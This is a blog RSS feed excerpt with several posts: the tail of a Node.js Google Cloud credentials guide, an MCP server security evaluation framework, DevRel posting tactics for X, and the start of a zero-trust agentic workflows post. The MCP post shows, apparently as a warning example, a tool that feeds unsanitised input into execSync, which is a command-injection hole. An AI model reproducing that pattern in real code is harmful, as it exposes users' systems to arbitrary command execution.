&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        private_key_id: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your-private-key-id&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        private_key: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;-----BEGIN PRIVATE KEY-----&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;                    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your-private-key-content&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;                    &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;-----END PRIVATE KEY-----&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        client_email: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your-client-email&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        client_id: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your-client-id&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        auth_uri: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://accounts.google.com/o/oauth2/auth&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        token_uri: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://oauth2.googleapis.com/token&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        auth_provider_x509_cert_url: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;https://www.googleapis.com/oauth2/v1/certs&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        client_x509_cert_url: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your-client-x509-cert-url&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Choosing the Right Method:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Using a JSON file: Simplest approach, but requires managing a separate file.&lt;/li&gt;
&lt;li&gt;Using an environment variable: Convenient, but crucial to use Base64 encoding for security.&lt;/li&gt;
&lt;li&gt;Specifying credentials directly: Secure, but less flexible for managing multiple configurations.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;By understanding these methods, you can securely load credentials for your Google Cloud Storage Node.js applications and interact with GCS effectively. Always prioritize security best practices when handling service account keys.&lt;/p&gt;
&lt;p&gt;For further details and advanced configurations, refer to the official Google Cloud Storage Node.js client library documentation.&lt;/p&gt;
&lt;p&gt;I hope this blog post helps you effectively manage your GCS credentials in Node.js!&lt;/p&gt;</content:encoded></item><item><title>A Proposed MCP Server Security Evaluation Framework</title><link>https://lirantal.com/blog/mcp-server-security-evaluation-framework/</link><guid>https://lirantal.com/blog/mcp-server-security-evaluation-framework/</guid><description>With great MCP power comes great MCP responsibility and you should be prepared to evaluate the security of your MCP server implementation and MCP adoption in your AI agents.</description><pubDate>Mon, 01 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AI Agents are upon us and without properly mapping out security threats how can you even consider which guardrails to put in place? I’d like to propose a guiding framework for evaluating Model Context Protocol (MCP) Server security using a set of criteria that can be used to assess the security posture of an MCP server implementation.&lt;/p&gt;
&lt;p&gt;The audience for this framework is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Software developers considering building an MCP server&lt;/li&gt;
&lt;li&gt;Software developers considering using an MCP server in their AI agents (Cursor, Claude Code, etc)&lt;/li&gt;
&lt;li&gt;Security practitioners evaluating the security of MCP servers adoption and integration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/mcp-server-security-evaluation-framework-v1.png&quot; alt=&quot;MCP Server Security Evaluation Framework v1.0&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;mcp-server-configuration&quot;&gt;MCP Server Configuration&lt;/h2&gt;
&lt;h3 id=&quot;1-remote-mcp-server-relies-on-credentials-via-query-string&quot;&gt;1. Remote MCP Server Relies on Credentials via Query String&lt;/h3&gt;
&lt;p&gt;Maintaining authentication and authorization for an MCP server is a legitimate use-case, however, the way that credentials are handled is critical.&lt;/p&gt;
&lt;p&gt;It’s been a long-standing best practice to avoid passing sensitive credentials in the query string of a URL, as they can be logged across various places (e.g., browser history, server logs). Even though we’re in the age of HTTPS, the PHP developer ecosystem have been repeatedly frowned upon for following this practice of passing cookie session IDs.&lt;/p&gt;
&lt;p&gt;Yet, I’ve observed that some remote MCP server configurations still rely on passing API tokens in the query string. This is a security risk, as it can lead to accidental exposure of sensitive information:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/mcp-server-api-tokens.png&quot; alt=&quot;API tokens for authentication and authorization in query string &quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;2-mcp-server-configuration-secrets-via-environment-variables&quot;&gt;2. MCP Server Configuration Secrets via Environment Variables&lt;/h3&gt;
&lt;p&gt;In another case of insecure storage of sensitive information such as credentials in the form of API tokens, API keys and other secrets is when such information is stored in the environment variables configuration of an MCP Server.&lt;/p&gt;
&lt;p&gt;Consider the following example of an MCP server configuration file that stores sensitive information in environment variables:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;mcpServers&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;server-name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;executable&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;args&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;arg1&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;arg2&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;env&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;API_TOKEN&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;secret-key&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This MCP configuration is often a JSON file on disk at the local project directory &lt;code&gt;./.vscode/mcp.json&lt;/code&gt; for example, or at the user’s home directory &lt;code&gt;~/.vscode/.mcp.json&lt;/code&gt; and is easily accessible by anyone with access to the file system.&lt;/p&gt;
&lt;p&gt;These sensitive files become a target for exfiltration by attackers.&lt;/p&gt;
&lt;h2 id=&quot;mcp-server-implementation&quot;&gt;MCP Server Implementation&lt;/h2&gt;
&lt;p&gt;Risks in MCP Server implementation vary and are quite broad. MCP Servers can also be evaluated based on whether they are of a trusted entity or not, therefore opening the risks of malicious code as part of the MCP Server implementation.&lt;/p&gt;
&lt;p&gt;In the scope of this proposed MCP Server security evaluation framework, I will assume that the MCP Server is implemented by a trusted entity, and as such, the security risks mostly related to secure coding conventions and practices.&lt;/p&gt;
&lt;p&gt;For example, consider the following MCP Server tool implementation that is written in JavaScript using the &lt;code&gt;@modelcontextprotocol/sdk/server&lt;/code&gt; package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { McpServer } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@modelcontextprotocol/sdk/server/mcp.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { StdioServerTransport } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;@modelcontextprotocol/sdk/server/stdio.js&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { z } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;zod&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { execSync, execFileSync } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;McpServer&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  name: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;npm JavaScript package management tools&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  version: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;1.0.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  description: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Provides tools to get information about open source npm packages from the npmjs registry&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;server.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;tool&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;getNpmPackageInfo&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Get information about an npm package&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    packageName: z.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;async&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ({ &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;packageName&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {    &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;output&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;execSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`npm view ${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;packageName&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      encoding: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      content: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;text&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          text: output&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;mcp-server-assets&quot;&gt;MCP Server Assets&lt;/h2&gt;
&lt;p&gt;The last piece of the MCP Server security evaluation framework ties to the building blocks of an MCP Server which is often a composition of third-party libraries, as is common with many software projects today relying on open source software.&lt;/p&gt;
&lt;p&gt;As such, third-party libraries can introduce security risks to pay attention to, just as with any other project:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Insecure inclusion of third-party libraries&lt;/li&gt;
&lt;li&gt;Incompatible licenses&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The above risks of third-party libraries are nothing new to developers and security practitioners, however, they are worth mentioning in the context of MCP Server security evaluation which is often a black box when configuring new MCP Server integrations.&lt;/p&gt;</content:encoded></item><item><title>DevRel Engagement and GTM Tactics on X / Twitter</title><link>https://lirantal.com/blog/devrel-engagement-gtm-tactics-on-x-twitter/</link><guid>https://lirantal.com/blog/devrel-engagement-gtm-tactics-on-x-twitter/</guid><description>Ok so how do DevRel practitioners optimize for engagement on X (Twitter) when they post new products, announcements and other stories? I also baked some KPIs here for you</description><pubDate>Sat, 23 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How many times did the product manager ask you to promote a feature? How many times did the marketing folks reach out and asked you to like or comment on their LinkedIn? Ahh yes, the wonders of working in Developer Relations (DevRel). Ok so we’re all trying to farm some honest engagement and get a bunch of eyes looking at the cool tech we’re building, but how do you do it well?&lt;/p&gt;
&lt;p&gt;I have a good bonus tip here for DevRel folks - I’ll give you a KPI for each of the tactics so you can propose measuring them too and A/B test.&lt;/p&gt;
&lt;p&gt;So how do you create an engaging post? I’ll share a bunch of DevRel go-to-market (GTM) tactics that specifically work well on X/Twitter (to some extent you can copy this over to LinkedIn / Reddit).&lt;/p&gt;
&lt;h2 id=&quot;genuine-value&quot;&gt;Genuine Value&lt;/h2&gt;
&lt;p&gt;You can’t mess this one up. It can’t be some fluffy marketing announcement. Your company did an acquisition? fine, fine. Not interesting. Unless you’re a MAG7 company or there’s a very deep devtool relationship between the two companies then there is likely no actual interest to users.&lt;/p&gt;
&lt;p&gt;Your news story to break has to be relevant and actionable to users to the point of them going into your docs, downloading the new version, trying it out, exploring more. Otherwise, you lost them. No one is interested in “Next month we unveil bla bla bla” and there’s literally no action to take on that, so what’s the point?&lt;/p&gt;
&lt;p&gt;You have to deliver truly genuine, authentic and sincere tangible value to your users with that story.&lt;/p&gt;
&lt;p&gt;What &lt;em&gt;even is&lt;/em&gt; the story? Notice how I didn’t call this out. It can be:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;New product&lt;/li&gt;
&lt;li&gt;New 3rd-party integration&lt;/li&gt;
&lt;li&gt;New open-source template that builds on your product&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of those are great examples that resonate well with users of devtool companies.&lt;/p&gt;
&lt;h3 id=&quot;devrel-kpis&quot;&gt;DevRel KPIs:&lt;/h3&gt;
&lt;p&gt;So how do you know if your post would work? Easy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;X gives you a “views” impression count, track that and compare it relatively to other posts&lt;/li&gt;
&lt;li&gt;Share it internally on Slack / Discord with your engineering chanel, was there a “wow” effect?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;unusual-story&quot;&gt;Unusual Story&lt;/h2&gt;
&lt;p&gt;As with many things unique to X, good things come in threads :-)&lt;/p&gt;
&lt;p&gt;Your first post has to capture and be compelling enough to stand out. Optimize for the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Short, concise.&lt;/li&gt;
&lt;li&gt;Compress the take-away to a sentence&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/nutlope/status/1947694036879303061&quot;&gt;Here is a good example&lt;/a&gt; from Hassan:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/hassan-launches-an-open-source-project-on-x.png&quot; alt=&quot;Hassan launches an open source project on X&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;devrel-kpis-1&quot;&gt;DevRel KPIs:&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Time-To-Coolness-Factor&lt;/strong&gt;: how many bookmarks do you have on the post? Bookmarks on X are often a good measure of how interesting a post is that users bookmark it so that even though they’re busy now and just doom scrolling a bit they can get back to what captured their attention before and deep-dive into it.&lt;/p&gt;
&lt;h2 id=&quot;visual-asset&quot;&gt;Visual asset&lt;/h2&gt;
&lt;p&gt;It’s hard to stand out with just text, and I hope you already know that social networks like X and LinkedIn has an algorithm that punishes posts with external link references so that’s a big no-no.&lt;/p&gt;
&lt;p&gt;That leaves you with either a good visual image, or a short (&amp;#x3C;30 seconds) video to capture attention. Don’t mess this up. Show the value. Make it intriguing to explore more.&lt;/p&gt;
&lt;p&gt;KPIs are similar as the above for capturing your messaging and storytelling - rely on “views” as an impressions metric.&lt;/p&gt;
&lt;h2 id=&quot;the-gift&quot;&gt;The Gift&lt;/h2&gt;
&lt;p&gt;So far we focused on the first post. Next, comes the gift you provide developers. That’s the link that you can’t put on the first post due to algos.&lt;/p&gt;
&lt;p&gt;Along with the link, make sure you tell developers “why”. Some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This allows you to build &lt;something&gt;&lt;/something&gt;&lt;/li&gt;
&lt;li&gt;This is 100% open source&lt;/li&gt;
&lt;li&gt;This cuts your time by 50%, get faster &lt;something&gt;&lt;/something&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note: avoid UTMs in the link unless necessary.&lt;/p&gt;
&lt;h3 id=&quot;kpis&quot;&gt;KPIs:&lt;/h3&gt;
&lt;p&gt;Referral source - track your analytics for referral sources from X/Twitter.&lt;/p&gt;
&lt;h2 id=&quot;extra-boost&quot;&gt;Extra Boost&lt;/h2&gt;
&lt;p&gt;To boost engagement on X, you can tag other accounts that are in some way related.&lt;/p&gt;
&lt;p&gt;Here are some examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you’re releasing a product that integrates with company Y, tag them (in the second post, not the first)&lt;/li&gt;
&lt;li&gt;If you’re releasing an open source template, tag the relevant (and high traffic) accounts that the project uses/built-on&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/hassan-shares-his-open-source-template-and-shows-the-tech-stack.png&quot; alt=&quot;Hassan shares his open source template and shows the tech stack on X&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Plan, Don&apos;t Execute: Agentic Workflows in Zero Trust Environments</title><link>https://lirantal.com/blog/plan-dont-execute-agentic-workflows-in-zero-trust-environments/</link><guid>https://lirantal.com/blog/plan-dont-execute-agentic-workflows-in-zero-trust-environments/</guid><description>How zero-trust environments can leverage AI agents and agentic workflows without compromising security and trust.  </description><pubDate>Tue, 19 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are not even half a decade into the immersion of generative AI and other AI-powered disciplines into our daily lives and it is already hard to imagine a world without AI, and yet, some low-trust environments will not be able to fully embrace AI agents and AI-centric workflows but at the same time these environments won’t be able to stay relevant without them. This is the paradox of zero trust environments, such as those in defense, government and highly sensitive industries, where the risk of misuse and abuse of AI agents is high, but the need for efficiency and innovation is also pressing.&lt;/p&gt;
